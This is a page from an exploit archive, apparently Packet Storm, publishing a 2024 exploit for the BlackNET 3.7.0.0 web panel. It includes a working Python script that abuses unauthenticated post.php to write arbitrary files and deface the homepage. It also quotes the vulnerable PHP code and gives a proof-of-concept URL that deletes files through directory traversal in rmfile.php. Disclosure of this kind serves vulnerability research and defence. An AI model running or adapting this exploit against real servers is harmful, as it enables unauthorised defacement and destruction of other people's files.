Home[1] Files[2] News[3] &[SERVICES_TAB] Contact[4] Add New[5]
- BlackNET 3.7.0.0 Missing Authentication / File Deletion / Traversal[6]
- Authored by bRpsd[7]
-
BlackNET version 3.7.0.0 appears to allow unauthenticated access to modify data and suffers from arbitrary file deletion and directory traversal vulnerabilities while authenticated.
- SHA-256 |
6e54154264109ce0380fee45cc8dba495239a6e22843e4f8d07ddd298e5af855 - Download[8] | Favorite[9] | View[10]
Change Mirror[11] Download[12]
# Exploit Title: BlackNET - Multiple Vulnerabilities
# Exploit Author: bRpsd
# Date: 20/09/2024
# Vendor Homepage: https://github.com/AndroVirus
# Software Link: https://github.com/AndroVirus/BlackNET/
# Version: v3.7.0.0
# Tested on: MacOS - Xampp
# CVE: NA
import requests
# Define the target URL for the POST request
post_url = "http://localhost/x/BlackNET/BlackNET%20Panel/post.php"
# Defaces the homepage
payload = "Nothing to see here."
data = {
'folder_name': 'www', # this can create any folder on the server
'file_name': 'index.html', # Name of the file to be created
'data': payload # The payload being tested
}
# Send the POST request
response = requests.post(post_url, data=data)
# Check the response
if response.status_code == 200:
print("Request successful. Check if 'file' was created.")
else:
print(f"Request failed with status code: {response.status_code}")
# Vulnerable code: /BlackNET/BlackNET%20Panel/post.php
# header('Content-type: text/html; charset=utf-8');
#
# require_once 'config/config.php';
# require_once APP_PATH . 'classes/POST.php';
#
# if ($_SERVER['REQUEST_METHOD'] == "POST") {
# $POST = new BlackNET\POST();
# $folder_name = isset($_POST['folder_name']) && $_POST['folder_name'] != "" ? $_POST['folder_name'] : 'www';
# $file_name = isset($_POST['file_name']) ? $_POST['file_name'] : "unknown.txt";
#
# $data = $POST->sanitize($_POST['data']);
#
# $POST->prepare($folder_name, $file_name, $data);
#
# $POST->write();
#
###########################################################################################
# Arbitrary File Deletion & Directory Traversal [Authenticated]
# File: rmfile.php
# Parameter: fname
# Vul Code:
#<?php
# require_once 'session.php';
#$msg = "";
#$id = "";
#if ($_SERVER['REQUEST_METHOD'] == "POST") {
# $files = $_POST['file'];
# $vicid = $utils->sanitize($_POST['vicid']);
# if ($auth->checkToken($_POST['csrf'], $_SESSION['csrf'])) {
# foreach ($files as $file) {
#if (strpos($file, "../")) {
# $id = $vicid;
# $msg = "error";
# }
# $filename = $utils->sanitize($file);
# $real_path = realpath("upload" . "/" . $vicid . "/" . $filename);
# if (file_exists($real_path)) {
# unlink($real_path);
#
#
# Proof Of Concept:
# http://localhost/x/BlackNET/BlackNET%20Panel/rmfile.php?fname=../favico.png&vicid=&csrf=95a6ae14d491e482b4370da1fd74f69891058f12472e6510e373889d99d84c3c
File Tags
- ActiveX[18] (933)
- Advisory[19] (86,862)
- Arbitrary[20] (17,077)
- BBS[21] (2,859)
- Bypass[22] (1,923)
- CGI[23] (1,047)
- Code Execution[24] (7,902)
- Conference[25] (692)
- Cracker[26] (845)
- CSRF[27] (3,427)
- DoS[28] (25,263)
- Encryption[29] (2,395)
- Exploit[30] (54,266)
- File Inclusion[31] (4,274)
- File Upload[32] (1,017)
- Firewall[33] (822)
- Info Disclosure[34] (2,916)
- Intrusion Detection[35] (918)
- Java[36] (3,156)
- JavaScript[37] (908)
- Kernel[38] (7,281)
- Local[39] (14,850)
- Magazine[40] (587)
- Overflow[41] (13,223)
- Perl[42] (1,435)
- PHP[43] (5,271)
- Proof of Concept[44] (2,411)
- Protocol[45] (3,749)
- Python[46] (1,660)
- Remote[47] (31,888)
- Root[48] (3,671)
- Rootkit[49] (529)
- Ruby[50] (642)
- Scanner[51] (1,658)
- Security Tool[52] (8,048)
- Shell[53] (3,305)
- Shellcode[54] (1,219)
- Sniffer[55] (904)
- Spoof[56] (2,297)
- SQL Injection[57] (16,725)
- TCP[58] (2,463)
- Trojan[59] (690)
- UDP[60] (919)
- Virus[61] (675)
- Vulnerability[62] (33,092)
- Web[63] (10,138)
- Whitepaper[64] (3,784)
- x86[65] (970)
- XSS[66] (18,301)
- Other[67]
File Archives
- September 2024[68]
- August 2024[69]
- July 2024[70]
- June 2024[71]
- May 2024[72]
- April 2024[73]
- March 2024[74]
- February 2024[75]
- January 2024[76]
- December 2023[77]
- November 2023[78]
- October 2023[79]
- Older[80]
Systems
- AIX[81] (430)
- Apple[82] (2,114)
- BSD[83] (378)
- CentOS[84] (61)
- Cisco[85] (1,954)
- Debian[86] (7,124)
- Fedora[87] (1,693)
- FreeBSD[88] (1,247)
- Gentoo[89] (4,567)
- HPUX[90] (881)
- iOS[91] (389)
- iPhone[92] (108)
- IRIX[93] (220)
- Juniper[94] (71)
- Linux[95] (51,237)
- Mac OS X[96] (696)
- Mandriva[97] (3,105)
- NetBSD[98] (256)
- OpenBSD[99] (490)
- RedHat[100] (16,845)
- Slackware[101] (941)
- Solaris[102] (1,615)
- SUSE[103] (1,444)
- Ubuntu[104] (9,852)
- UNIX[105] (9,456)
- UnixWare[106] (188)
- Windows[107] (6,772)
- Other[108]
- Services
- Security Services[119]
- Hosting By
- Rokasec[120]


